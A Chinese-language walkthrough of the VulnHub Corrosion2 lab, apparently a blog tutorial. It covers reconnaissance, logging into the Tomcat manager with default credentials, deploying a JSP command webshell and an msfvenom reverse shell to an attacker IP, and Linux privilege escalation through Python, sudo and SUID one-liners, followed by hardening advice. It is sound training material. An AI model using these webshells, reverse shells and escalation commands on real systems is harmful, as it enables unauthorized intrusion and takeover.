1. 项目概述从靶机到实战的渗透思维构建如果你刚踏入渗透测试领域面对各种漏洞概念和工具感到无从下手那么从一台精心设计的靶机开始是建立系统性实战思维的最佳路径。Corrosion2靶机就是一个绝佳的起点它模拟了一个存在经典漏洞的真实环境核心目标直指两个关键技能点Apache Tomcat漏洞利用与Python环境提权。这不仅仅是两个孤立的技术点而是串联了从外部信息探测、Web应用攻击到系统权限提升的完整渗透链条。对于新手而言成功拿下Corrosion2意味着你不仅学会了使用几个工具更重要的是理解了“攻击者视角”下的逻辑链条如何从一无所知到发现突破口如何将低权限的访问转化为系统的完全控制。这个过程远比死记硬背漏洞编号和命令更有价值。我最初接触渗透测试时也经历过对着教程敲命令却不知其所以然的阶段。直到像Corrosion2这样的综合性靶机出现它强迫你去思考每一步操作背后的意图。比如为什么我们要先扫描开放端口发现8080端口的Tomcat后下一步该做什么找到管理后台后是暴力破解还是寻找默认凭证上传Webshell时为什么会遇到限制又该如何绕过最后拿到一个有限的shell后又该如何在系统内部“横向移动”或“纵向提权”Corrosion2将这些环节有机地串联起来让你在攻克它的过程中自然而然地建立起一套属于自己的渗透测试方法论。接下来我将带你完整走一遍这个流程并分享那些官方教程里不会写的细节和踩过的坑。2. 环境准备与靶机搭建打造你的专属练功房工欲善其事必先利其器。在开始渗透之前一个稳定、隔离的测试环境是首要条件。我们不需要昂贵的硬件利用虚拟机技术就能轻松搭建。2.1 攻击机与靶机配置攻击机我推荐使用Kali Linux它集成了渗透测试所需的大部分工具。你可以从官网下载镜像在VMware Workstation或VirtualBox中安装。建议分配至少4GB内存和40GB硬盘空间并确保网络适配器设置为“NAT模式”或“仅主机模式”。后者能创建一个与宿主机隔离的内部网络更适合练习。Corrosion2靶机可以从 VulnHub 等平台下载。下载后你会得到一个OVA或VMDK格式的虚拟机文件。同样使用VMware或VirtualBox导入即可。关键一步是设置网络务必确保靶机和Kali攻击机处于同一网络段。例如在VirtualBox中可以为两台虚拟机都选择“内部网络”并指定相同的网络名称如intnet。启动靶机后它通常会通过DHCP自动获取IP地址。我们的第一个任务就是找到它。在Kali中打开终端使用netdiscover或nmap进行扫描sudo netdiscover -r 192.168.1.0/24或者如果你知道大概的网段sudo nmap -sn 192.168.1.0/24注意实际的网段可能因你的虚拟网络配置而异常见的是192.168.56.0/24或192.168.1.0/24。扫描结果中排除了你已知的Kali IP后那个新出现的、运行着未知服务的IP很可能就是靶机。2.2 关键工具预装与检查虽然Kali工具齐全但为确保万无一失我们检查并更新几个核心工具Nmap端口扫描和信息收集的基石。sudo apt update sudo apt install nmap -y。Gobuster/Dirbuster用于目录爆破。Kali通常自带可以用gobuster version检查。Metasploit Framework漏洞利用的瑞士军刀。通过msfconsole命令启动首次运行会进行初始化。Searchsploit本地漏洞数据库。使用前最好更新sudo searchsploit -u。Python3我们的提权将大量依赖它。确保已安装python3 --version。搭建好环境后我建议先为当前状态创建一个虚拟机快照。这样如果在后续练习中操作失误导致靶机状态异常可以快速回滚到初始状态节省大量时间。3. 信息收集与侦察绘制攻击地图渗透测试不是盲目的攻击超过70%的工作在于信息收集。这一阶段的目标是尽可能多地了解目标就像战前侦察一样绘制出一张详细的“攻击地图”。3.1 端口扫描与服务识别找到靶机IP假设为192.168.56.105后我们首先进行全端口扫描以发现所有对外开放的服务入口。sudo nmap -sS -sV -sC -O -p- 192.168.56.105 -T4 -oN nmap_full.txt-sS: SYN半开放扫描速度快且相对隐蔽。-sV: 探测服务版本信息。-sC: 使用默认的Nmap脚本进行更深入的探测。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。-T4: 设置扫描速度等级0-54为较快速度。-oN: 将结果输出到文件nmap_full.txt。扫描结果可能会显示如下关键信息PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 (protocol 2.0) 8080/tcp open http Apache Tomcat 9.0.30解读与思考22端口 (SSH)这是一个常见的管理端口。在渗透测试中它可能成为暴力破解密码或利用已知SSH漏洞的入口但通常不是第一选择。8080端口 (Tomcat)这是我们的主要突破口。Apache Tomcat是一个广泛使用的Java应用服务器历史版本中存在多种漏洞如弱口令、后台部署war包getshell、特定版本RCE等。3.2 Web应用深度探测发现Tomcat服务运行在8080端口后我们立即用浏览器访问http://192.168.56.105:8080。经典的Tomcat默认页面映入眼帘。对于攻击者而言这个页面透露了两个关键信息1) Tomcat版本2) 默认的管理入口链接。第一步手动探索与目录爆破点击页面上的“Manager App”或直接访问/manager/html会弹出一个HTTP基本认证对话框。这说明管理后台是存在的但需要凭证。此时我们不应立即进行暴力破解而是先看看是否有其他线索。 使用Gobuster进行目录和文件爆破寻找可能被遗忘的备份文件、测试页面或其他应用gobuster dir -u http://192.168.56.105:8080 -w /usr/share/wordlists/dirb/common.txt -x txt,php,jsp,html,bak这个步骤有时能发现像/docs/、/examples/等目录其中可能包含有用的信息或存在漏洞的示例应用。第二步Tomcat版本漏洞关联在Nmap的-sV扫描结果或Tomcat页面底部我们可以获取精确的版本号例如Tomcat 9.0.30。立刻使用searchsploit在本地搜索公开漏洞searchsploit tomcat 9.0同时务必在Exploit-DB、NVD等在线漏洞库进行交叉验证。这里有一个重要心得不要看到有漏洞就兴奋首先要判断漏洞类型是远程代码执行RCE还是权限绕过、利用条件是否需要认证以及漏洞在目标环境中的可利用性。对于需要认证的漏洞我们的首要任务就变成了获取凭证。4. Tomcat漏洞利用实战突破Web防线针对需要认证的Tomcat管理后台我们通常有几条路径1) 默认/弱口令2) 口令爆破3) 寻找其他无需认证的漏洞入口。在Corrosion2靶机中第一条路径往往是突破口。4.1 认证绕过与后台访问Apache Tomcat在早期版本中/manager/html部署接口存在一些默认口令。虽然现在强调安全但在一些老旧或配置不当的系统中仍可能保留。一个经典的组合是用户名tomcat密码tomcat或s3cret。在Corrosion2中尝试使用tomcat:s3cret登录有很大概率成功。实操心得不要只尝试一两个组合就放弃。可以准备一个小的用户名字典如admin, tomcat, manager, root和密码字典如tomcat, s3cret, password, admin123。使用Burp Suite的Intruder模块或Hydra工具进行自动化尝试。但务必注意在真实测试中未经授权的暴力破解是违法的且极易触发告警。登录成功后你将进入Tomcat Web应用管理器。这里最吸引人的功能就是“WAR file to deploy”。它允许管理员上传一个打包好的Java Web应用WAR文件Tomcat会自动将其解压并部署。这为我们提供了一个绝佳的命令执行通道。4.2 Webshell制作与上传我们的目标是上传一个能执行系统命令的Webshell。对于Tomcat最常见的是制作一个包含JSP木马的WAR包。方法一使用MSFVenom快速生成Metasploit的msfvenom工具可以一键生成msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.56.102 LPORT4444 -f war -o shell.war-p: 指定payload类型这里使用JSP反向Shell。LHOST: 你的Kali攻击机IP。LPORT: 你将在Kali上监听的端口。-f war: 输出格式为WAR。-o shell.war: 输出文件名。方法二手动编写JSP Webshell对于学习而言手动编写更能理解原理。创建一个名为cmd.jsp的文件内容如下% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %然后将其打包成WARjar -cvf shell.war cmd.jsp生成shell.war后回到Tomcat管理后台的部署界面点击“选择文件”上传这个WAR包然后点击“Deploy”。如果成功在应用列表里你会看到多了一个名为shell取决于你的WAR包名的应用。4.3 连接Webshell与初步立足访问你的WebshellURL路径为http://192.168.56.105:8080/shell/cmd.jsp如果WAR包名和JSP文件名是其他则相应修改。对于手动编写的JSP直接在URL后添加?cmdwhoami例如http://192.168.56.105:8080/shell/cmd.jsp?cmdwhoami页面会返回命令执行结果如tomcat这表明我们以Tomcat服务账户的身份执行了命令。对于MSFVenom生成的反向Shell你需要在Kali上先启动一个监听器然后再访问Webshell的任意路径如http://192.168.56.105:8080/shell/来触发连接。msfconsole use exploit/multi/handler set payload java/jsp_shell_reverse_tcp set LHOST 192.168.56.102 set LPORT 4444 exploit访问Webshell后你会在MSF中看到一个会话session建立起来。至此我们已经成功突破了Web边界在目标服务器上获得了命令执行能力。不过这通常是一个权限较低的账户如tomcat或www-data。下一步就是如何从这个“笼子”里跳出来获取更高的系统权限。5. 权限提升从Tomcat到Root的惊险一跃获得初始Shell后你会发现很多操作受限制无法查看敏感文件如/etc/shadow无法安装软件无法进行重要的系统配置。这就是权限提升Privilege Escalation要解决的问题。在Linux系统中提权方法繁多Corrosion2靶机通常设计为利用Python环境或SUID权限配置不当来实现提权。5.1 系统内部信息收集在尝试任何提权操作前必须进行彻底的内网信息收集。在你的Webshell或反向Shell中执行以下命令当前用户和权限id whoami sudo -l # 如果当前用户有sudo权限且知道密码这是最直接的提权方式系统信息uname -a # 内核版本 cat /etc/os-release # 发行版信息寻找敏感文件与配置find / -type f -perm -04000 -ls 2/dev/null # 查找SUID文件 find / -type f -perm -02000 -ls 2/dev/null # 查找SGID文件 find / -writable -type d 2/dev/null # 查找当前用户可写的目录 cat /etc/crontab # 查看计划任务可能有自定义脚本以root权限运行 ps aux | grep root # 查看root运行的进程5.2 利用Python进行提权在信息收集中如果你发现系统安装了Python尤其是Python2因为其某些模块在提权中更常用并且当前用户有执行Python的权限那么机会就来了。Python的pty模块可以生成一个交互式的伪终端这比普通的反向Shell好用得多。第一步升级到交互式TTY Shell在非交互式的Webshell中很多操作如使用su、sudo甚至使用文本编辑器vi会受限。首先我们尝试升级Shellpython3 -c import pty; pty.spawn(/bin/bash) # 或者如果只有Python2 python -c import pty; pty.spawn(/bin/bash)执行后你应该会得到一个bash提示符。再输入export TERMxterm和CtrlZ然后stty raw -echo; fg可以获得更完整的终端体验支持命令历史、Tab补全等。第二步探索Python的提权可能性检查Python的sudo权限运行sudo -l仔细查看输出。如果看到类似(root) NOPASSWD: /usr/bin/python或(ALL) NOPASSWD: ALL的字样那提权就简单了。直接sudo python启动一个root权限的Python解释器然后import os; os.system(/bin/bash)即可获得root shell。利用Python库加载劫持如果发现一个以root权限运行的Python脚本并且当前用户对其依赖的库目录或脚本本身有写权限就可以通过植入恶意代码来提权。这需要结合ps aux和find命令的发现。Python脚本中的命令注入如果发现一个用Python写的、并以root权限执行的管理工具或计划任务脚本检查其是否不安全地拼接了用户输入如使用os.system()、subprocess.call()且未过滤参数。可以尝试通过修改环境变量或输入参数来注入命令。5.3 SUID提权与内核漏洞利用如果Python路径不通SUID文件是另一个常见突破口。SUIDSet User ID是一种特殊的文件权限它允许用户以文件所有者的权限来执行该文件。例如如果/bin/bash被错误地设置了SUID位且属于root那么任何用户执行它都会获得一个root shell。查找SUID文件后重点检查一些已知的可用于提权的二进制文件如findfind . -exec /bin/bash \;vim/vi:!bashbashbash -p如果bash版本较旧less/more在分页浏览时输入!/bin/bashnmap旧版本交互模式!sh内核漏洞提权是最后的手段。通过uname -a获取内核版本后可以在Kali上使用searchsploit linux kernel 版本号搜索公开的本地提权漏洞如Dirty Cow、sudo CVE-2021-3156等。找到对应的漏洞利用代码Exploit将其上传到靶机可以用Python的HTTP模块搭建简易服务器或用wget从攻击机下载编译并执行。但必须注意内核漏洞利用有风险可能导致系统崩溃在靶机中无所谓且在真实环境中需极度谨慎。在Corrosion2的典型场景中经过一番查找你可能会发现一个关键的SUID文件或者一个配置错误的计划任务最终通过执行sudo或一个SUID的二进制文件成功将用户切换到root。使用id或whoami确认权限变为root后就可以去读取最终的flag文件通常位于/root或/home目录下完成整个渗透测试流程。6. 问题排查与防御思考在实际操作中几乎不可能一帆风顺。下面是一些常见问题及解决思路这也是新手和老手的主要区别所在。6.1 常见问题速查表问题现象可能原因排查思路与解决方案Nmap扫描不到靶机IP虚拟机网络配置错误1. 检查两台虚拟机是否在同一网络模式如均为“仅主机”或“NAT网络”。2. 在Kali中运行ip a查看自身IP确定网段后调整扫描范围。3. 在靶机中如果可能查看其IP。Tomcat管理后台无法登录1. 默认口令不对。2. 后台路径被修改。3. 访问被限制。1. 尝试更多常见弱口令组合。2. 用Gobuster重新扫描/manager、/admin等目录。3. 检查是否有IP白名单可尝试修改HTTP头如X-Forwarded-For绕过。WAR包上传失败1. 文件格式或大小问题。2. 服务器端安全限制。1. 确保是有效的WAR格式用file shell.war检查。2. 尝试使用PUT方法上传如果Tomcat配置允许。3. 尝试制作更小的Webshell或使用其他文件上传点。Webshell上传后访问4041. 部署路径错误。2. Tomcat自动解压命名问题。1. 在Tomcat管理后台查看应用列表确认上下文路径Context Path。2. 访问路径应为http://IP:port/上下文路径/JSP文件名。WAR包名不一定等于上下文路径。反向Shell连接不上1. 防火墙阻止出站连接。2. Payload配置错误IP/端口。3. 监听器设置错误。1. 在靶机上用netstat -ant或curl测试到攻击机端口的连通性。2. 双重检查LHOST和LPORT是否与监听器一致。3. 尝试使用其他端口或Payload如bash反向Shell。提权尝试全部失败1. 系统加固较好无常见漏洞。2. 信息收集不全面。1. 回归信息收集使用像linpeas、linux-exploit-suggester这样的自动化脚本进行深度枚举。2. 检查数据库、缓存服务如Redis是否存在未授权访问这些服务可能以root运行。3. 查看用户主目录下的历史文件.bash_history、配置文件、备份文件寻找密码线索。6.2 从攻击到防御的思维转变完成一次靶机渗透后真正的学习才刚刚开始。作为一名负责任的安全从业者必须学会从防御者的角度思考Tomcat安全加固删除或禁用默认管理页面生产环境不应暴露/manager/html和/host-manager/html。使用强口令并定期更换避免使用默认或弱口令启用账户锁定策略。限制管理后台访问IP在server.xml中配置RemoteAddrValve只允许管理IP访问。及时更新版本保持Tomcat为最新稳定版修复已知漏洞。以非root用户运行Tomcat创建一个专用低权限用户来运行Tomcat服务即使被攻破攻击者获得的权限也有限。系统层防御最小权限原则严格管理sudo权限和SUID/SGID文件定期审计。定期更新系统及时安装安全补丁特别是内核补丁。入侵检测与日志审计部署HIDS主机入侵检测系统集中收集和分析系统日志、Web访问日志及时发现异常行为如异常文件上传、可疑命令执行。网络隔离将Web服务器置于DMZ区严格限制其对内网的访问。通过Corrosion2靶机的练习你经历了一次完整的渗透测试生命周期。更重要的是你应该明白每一个攻击点都对应着一个防御点。在未来的学习或工作中无论是进行渗透测试服务还是建设安全防护体系这种“攻防一体”的思维模式才是你从新手走向资深的核心竞争力。靶机练习的结束正是你实战能力构建的开始。